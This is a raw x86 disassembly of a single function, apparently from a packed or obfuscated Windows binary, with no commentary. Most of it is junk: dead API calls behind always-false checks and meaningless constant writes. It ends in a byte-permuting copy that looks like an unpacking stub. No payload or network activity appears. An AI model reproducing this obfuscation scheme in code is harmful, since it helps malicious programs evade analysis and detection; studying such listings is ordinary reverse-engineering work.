mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x18], eax
jmp 0x462625
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0xd4], 0x80ce5fa5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x462614
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x10]
je 0x462639
cmp dword [ebp - 0x14], eax
jne 0x462639
mov esi, eax
mov edx, dword [ebp - 0x10]
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setne bl
cmp ebx, 4
sbb edx, edx
sub esi, ecx
imul esi, dword [ebp - 0x14]
lea ecx, [edx - 0x1084]
add ecx, esi
je 0x46279d
mov dword [ebp - 0x28], 0xf1912530
push 3
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
pop ebx
jmp 0x462681
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x88], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x462674
cmp dword [ebp - 0x28], eax
jne 0x4626b0
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 0x28], 0xb05e
jle 0x4626b0
mov esi, eax
jmp 0x4626b3
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp esi, ecx
setge dl
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], eax
jmp 0x46278e
mov dword [ebp - 0x20], 0x798564db
lea ecx, [ebp - 0x154]
push ebx
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x4626f1
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x154]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x4626e2
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x462780
mov esi, dword [ebp - 0x154]
mov dword [ebp - 0x1c], eax
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setl bl
xor edx, edx
cmp ecx, ebx
setle dl
xor ebx, ebx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x88]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x88]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x88]
cmp ecx, edx
setl bl
mov dword [esi + 8], ebx
mov dword [ebp - 0x10], ebx
cmp dword [esi + 8], eax
jne 0x46277d
dec dword [ebp - 0x18]
jns 0x462708
push 3
pop ebx
lea ecx, [ebp - 0x154]
call fcn.004014ce
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x4626c8
jmp 0x462833
mov dword [ebp - 0x28], 0x7787
mov dword [ebp - 0x20], 0x759721cb
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x4627bf
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x46282d
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
sub ecx, 0x1a33
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, ecx
sete dl
mov dword [ebp - 0xd4], edx
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x46282a
push 0xb99
push 0xe5e
push 0x1b4f
push 0xf2e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffed
jge 0x4627c4
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
je 0x46284c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
cmp dword [ebp - 0x30], 0
jne 0x462858
add edi, 8
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x10], 0xde19d29b
lea ecx, [ebp - 0x148]
push 4
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0xc], 0xc72b752b
push 3
mov dword [ebp - 0x14], eax
pop edx
jmp 0x46288b
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x7c], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x46287d
xor ebx, ebx
mov dword [ebp - 0x14], eax
inc ebx
cmp dword [ebp - 0x14], edx
jge 0x4628aa
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x130], ebx
inc dword [ebp - 0x14]
jmp 0x462896
mov dword [ebp - 0x14], eax
jmp 0x4628c2
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x148]
mov dword [ecx + edx*4], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x4628af
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x4628e3
push 0xdc0
push 0x2044
push eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor eax, eax
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], eax
jl 0x4629e7
mov edi, dword [ebp - 0x148]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x10]
cmp dword [ebp + ecx*4 - 0x7c], eax
je 0x462929
cmp dword [edi + 0xc], eax
je 0x462929
mov esi, ebx
cmp dword [ebp - 0x130], eax
jne 0x46292b
mov esi, eax
mov dword [ebp - 0x20], 0x7ccc8959
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + ecx*4 - 0x7c]
mov ecx, dword [ebp - 0x20]
sub ecx, esi
cmp ecx, edx
mov ecx, dword [ebp - 0x10]
setle bl
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x7c]
cmp ebx, ecx
mov ecx, dword [ebp - 0x10]
setg dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x10]
setle bl
xor edx, edx
sub ebx, 6
imul ebx, dword [edi + 0xc]
mov esi, dword [ebp + ecx*4 - 0x7c]
mov ecx, dword [ebp - 0x10]
mov edi, dword [edi + 0xc]
cmp ebx, ecx
setge dl
xor ebx, ebx
cmp esi, edx
setle bl
xor ecx, ecx
cmp ebx, edi
setge cl
cmp ecx, edi
jle 0x462992
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc], ecx
jmp 0x4629ce
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x4629a4
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x4629c8
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x4629c5
push 0x1611
push 0x2641
push eax
call dword [sym.imp.USER32.dll_InflateRect]
xor eax, eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jle 0x4629a9
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x2c]
push 1
pop ebx
mov ecx, dword [ebp + ecx*4 - 0x7c]
dec dword [ebp - 0x10]
jns 0x4628fc
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x148]
call fcn.004014ce
mov ebx, dword [ebp - 0x34]
add edi, dword [ebp - 0x48]
inc ebx
push 0
pop eax
push 1
mov dword [ebp - 0x34], ebx
pop esi
cmp ebx, dword [ebp - 0x44]
jl 0x462407
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa75620]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], esi
push ecx
mov dword [ebp - 0x44], 0xca3191b4
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x30], 0xaff6
push ecx
mov dword [ebp - 0x30], 0xffffffff
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x34], 0x1e043eef
push eax
movdqu xmmword [ebp - 0x1c0], xmm0
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
call fcn.0040191b
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
jmp 0x462b25
push 4
lea ecx, [ebp - 0xfc]
call fcn.004013fc
mov dword [ebp - 0x1c], 0
jmp 0x462ab3
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xfc]
mov dword [eax + ecx*4], 0x14f4e797
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x462aa0
inc dword [ebp - 0x20]
mov esi, dword [ebp - 0xfc]
imul eax, dword [esi + 4], 0xeacb
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax + 0xc]
imul ecx, ecx
sub ecx, dword [eax + 8]
mov eax, dword [ebp - 0xc]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x6b471dfd
setge dl
xor ecx, ecx
add edx, dword [esi + 4]
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x30]
imul ecx, dword [ebp - 0xc]
imul eax, ecx, 0xfffffff6
xor ecx, ecx
cmp eax, dword [esi + 4]
setl cl
mov dword [esi + 4], ecx
lea ecx, [ebp - 0xfc]
call fcn.004014ce
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff0
jg 0x462a8a
mov dword [ebp - 0x1c], 0xa
cmp dword [ebp - 0x1c], 0xffffffe8
je 0x462ba0
mov esi, dword [ebp - 0xc4]
mov dword [ebp - 0x24], 0x97de2e51
mov dword [ebp - 0x20], 0x8ec7dffc
mov dword [ebp - 0x44], 7
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [esi + 0xc], 0x7106
setne al
test eax, eax
jle 0x462b6d
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x34]
inc edx
add edx, ecx
xor ecx, ecx
imul edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jne 0x462b42
lea ecx, [ebp - 0xc4]
call fcn.004014ce
push dword [ebp + 8]
mov ebx, dword [edi]
lea ecx, [ebp - 0x1c0]
movdqa xmm0, xmmword [str._t_t_t_t]
xor eax, eax
push ecx
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x30], 0x5bb2
push ecx
mov dword [ebp - 0x30], 0x2fe22364
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x30], 0x89351f20
mov dword [ebp - 0x30], 0x417be18
push eax
mov dword [ebp - 0x2c], ebx
movdqu xmmword [ebp - 0x1d0], xmm0
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x100], eax
call fcn.0040191b
mov dword [ebp - 0x30], 0xc842f88d
mov dword [ebp - 0x1c], 0
jmp 0x462c2e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x118], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x462c1d
dec dword [ebp - 0x114]
lea ecx, [ebp - 0x108]
call fcn.004014ce
mov esi, dword [edi + 4]
xor eax, eax
mov dword [ebp - 0xc], 0x1928c176
mov dword [ebp - 0x30], esi
mov dword [ebp - 0xc], eax
jmp 0x462c9d
cmp dword [ebp - 0xc], eax
je 0x462c87
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 6
jmp 0x462c7f
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x462c7c
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jne 0x462c6a
jmp 0x462c97
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x462c97
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
inc dword [ebp - 0xc]
push 0
pop eax
cmp dword [ebp - 0xc], 0xa
jge 0x462c59
push 1
lea ecx, [ebp - 0xac]
call fcn.004013fc
mov dword [ebp - 0x18], 0xfffffffe
xor edx, edx
mov dword [ebp - 0x28], 0xfffffff7
inc edx
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x1c], 0
jmp 0x462ce4
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xac]
mov dword [eax + ecx*4], 0x7bc75286
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x462cd1
mov edx, dword [ebp - 0xac]
mov ecx, dword [edx]
test ecx, ecx
je 0x462d02
mov eax, ecx
neg eax
cmp eax, ecx
jle 0x462d02
xor eax, eax
inc eax
jmp 0x462d04
xor eax, eax
mov dword [ebp - 0x18], ecx
xor ecx, ecx
cmp eax, dword [edx]
push 3
setg cl
xor eax, eax
cmp ecx, dword [edx]
setg al
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xac]
add ecx, 0x8067
cmp dword [eax], ecx
mov eax, dword [ebp - 0x28]
sete dl
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp edx, eax
jge 0x462e1b
lea ecx, [ebp - 0x160]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x462d67
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x160]
mov dword [ecx + edx*4], 0x8b9ba5e0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x462d54
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x462d7d
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor eax, eax
imul ecx, dword [ebp - 0xc], 0x3c1d
test ecx, ecx
je 0x462dfb
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0xc], 0xfffffff6
cmp dword [ebp - 0xc], 0xffffffed
je 0x462e0b
cmp dword [ebp - 0x20], eax
jne 0x462ddc
mov dword [ebp - 0x20], 0xb969b42c
xor edx, edx
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x160]
mov dword [ecx + 4], esi
mov ecx, dword [ebp - 0x20]
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, 0x4cb4
setle cl
cmp ecx, 0x12c005d9
jg 0x462ddc
mov edx, eax
jmp 0x462ddf
xor edx, edx
inc edx
xor ecx, ecx
cmp edx, 0x78c9dffb
sete cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffed
jne 0x462da3
mov esi, dword [ebp - 0x30]
jmp 0x462e0b
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x462e0b
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x160]
call fcn.004014ce
jmp 0x462ec4
lea ecx, [ebp - 0xd0]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x20], 0x9097d93c
mov dword [ebp - 0x1c], eax
jmp 0x462e47
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx + edx*4], 0x4ce10b49
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x462e34
mov ecx, dword [ebp - 0xac]
cmp dword [ecx], eax
jne 0x462e8c
mov ecx, dword [ebp - 0xd0]
xor edx, edx
cmp dword [ecx + 4], 0xa25a
setl dl
xor ebx, ebx
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xac]
cmp edx, dword [ecx]
mov ecx, dword [ebp - 0xd0]
setg bl
cmp dword [ecx], ebx
jge 0x462e94
cmp dword [ebp - 0x20], eax
je 0x462e94
xor eax, eax
inc eax
imul ecx, eax, 0xf89c
mov eax, dword [ebp - 0xd0]
sub ecx, 0x628a
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [eax + 8]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0xd0]
call fcn.004014ce
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x18], eax
call fcn.004014ce
test esi, esi
jne 0x462fb9
cmp byte [ebp - 0x39], 0
je 0x462ef2
cmp dword [ebp - 0x38], 1
jne 0x462ef2
mov ecx, dword [ebp + 8]
lea eax, [ebx + 0x10]
add dword [ecx + 8], eax
mov eax, dword [edi + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [edi + 0xc]
add edi, 0x10
push ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], edi
call fcn.00476ca5
mov dword [ebp - 0x38], eax
xor eax, eax
pop ecx
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0xe4]
push eax
push ebx
call fcn.004766b0
mov edi, dword [ebp - 0x94]
xor ecx, ecx
mov esi, ecx
test ebx, ebx
jle 0x462f8d
mov eax, esi
and eax, 0x80000001
jns 0x462f57
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x2c]
add eax, esi
add eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x30]
jmp 0x462f6c
lea eax, [edx + 1]
cdq
idiv ebx
cmp word [edi + edx*2], cx
jne 0x462f69
xor eax, eax
inc eax
mov word [edi + edx*2], ax
mov eax, dword [ebp - 0x24]
mov al, byte [edx + eax]
mov edx, dword [ebp - 0x38]
mov byte [esi + edx], al
inc esi
cmp esi, ebx
jl 0x462f49
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x38]
mov dword [edx], ebx
mov dword [edx + 4], eax
test edi, edi
je 0x462fbe
push edi
call fcn.00477456
pop ecx
xor ecx, ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], ecx
jmp 0x462fbb
xor ecx, ecx
mov edx, dword [ebp + 8]
mov dword [ebp + 8], 0xae9714a0
xor eax, eax
mov dword [ebp + 8], 0xfffffff9
inc eax
mov dword [ebp + 8], 6
mov dword [ebp + 8], 0xf5cd53bc
mov dword [ebp + 8], ecx
mov dword [ebp + 8], 0xffffffff
mov dword [ebp + 8], ecx
mov dword [ebp + 8], 0x276b87d0
mov dword [ebp - 0x2c], 0x941fc9a5
mov dword [ebp + 8], 0xd3f5047c
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp + 8], eax
mov dword [ebp + 8], ecx
jmp 0x46301f
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x208], 0xffffffff
inc dword [ebp + 8]
cmp dword [ebp + 8], 4
jl 0x46300e
dec dword [ebp - 0x38]
mov eax, edx
mov ecx, dword [ebp - 0x2c]
pop edi
pop esi
mov dword [ebp + 8], ecx
pop ebx
mov esp, ebp
pop ebp
ret